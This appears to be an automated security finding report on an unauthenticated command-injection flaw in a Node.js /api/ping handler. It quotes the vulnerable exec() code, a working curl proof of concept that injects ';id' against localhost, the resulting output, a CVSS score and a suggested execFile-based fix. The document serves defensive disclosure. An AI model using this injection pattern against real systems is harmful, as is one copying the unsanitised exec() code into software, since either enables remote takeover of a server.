Unauthenticated Command Execution via /api/ping Endpoint
auth-bypass · server.js:29-35
15b34d5cc6 by 42nights on 2026-06-03Summary
The HTTP handler at server.js:29 routes requests for /api/ping directly into a child_process.exec() call that interpolates the user-controlled `host` query parameter into a shell command string. No authentication, authorization, session check, or input validation is performed before the shell is invoked. The endpoint was intended to be an internal diagnostic, but it is reachable by any unauthenticated network caller and additionally allows arbitrary shell command injection via metacharacters in `host`.
Impact. Any remote, unauthenticated attacker who can reach the server can execute arbitrary shell commands as the server's OS user. The validated proof-of-concept `?host=127.0.0.1;id` returned the output of `id` (uid=501/macintosh with admin group), demonstrating full code execution. From here an attacker can read or modify any file the process can access, exfiltrate secrets/credentials, install persistence, pivot into internal networks, or fully compromise the host.
Vulnerable code — server.js
🔴 if (parsed.pathname === "/api/ping") {🔴 const host = q.host || "127.0.0.1";🔴 exec(`ping -c 1 ${host}`, { timeout: 4000 }, (err, stdout, stderr) => {🔴 send(res, 200, `ping result for ${host}:\n${stdout || stderr || String(err)}`);🔴 });🔴 return;🔴 }
Working exploit
curl -s 'http://127.0.0.1:4600/api/ping?host=127.0.0.1;id'
Exploit transcript
HTTP 200 Content-Type: text/plain ping result for 127.0.0.1;id: PING 127.0.0.1 (127.0.0.1): 56 data bytes 64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.071 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 0.071/0.071/0.071/0.000 ms uid=501(macintosh) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing-disabled),399(com.apple.access_ssh-disabled),400(com.apple.access_remote_ae),702(com.apple.sharepoint.group.2)
Confirmed: uid=501(macintosh) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts)...
CVSS v3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H→ 9.8 (critical)Recommended fix
AI-suggested fix — review before applying (derived from analysis of untrusted repo content):
Require authentication and strictly validate input before invoking the shell. Use execFile with an argv array instead of exec with a format string, and reject any host that is not a plain hostname or IP.
```diff
if (parsed.pathname === "/api/ping") {
+ if (!isAuthenticated(req)) {
+ return send(res, 401, "authentication required");
+ }
+ if (!hasRole(req, "admin")) {
+ return send(res, 403, "forbidden");
+ }
const host = q.host || "127.0.0.1";
- exec(`ping -c 1 ${host}`, { timeout: 4000 }, (err, stdout, stderr) => {
+ if (!/^[A-Za-z0-9.\-:]{1,253}$/.test(host)) {
+ return send(res, 400, "invalid host");
+ }
+ execFile("ping", ["-c", "1", "--", host], { timeout: 4000 }, (err, stdout, stderr) => {
send(res, 200, `ping result for ${host}:\n${stdout || stderr || String(err)}`);
});
return;
}
```Ship the fix
Rook found it and proved it. Hand the finding — with its working exploit as a failing test — to Otis to write the fix PR.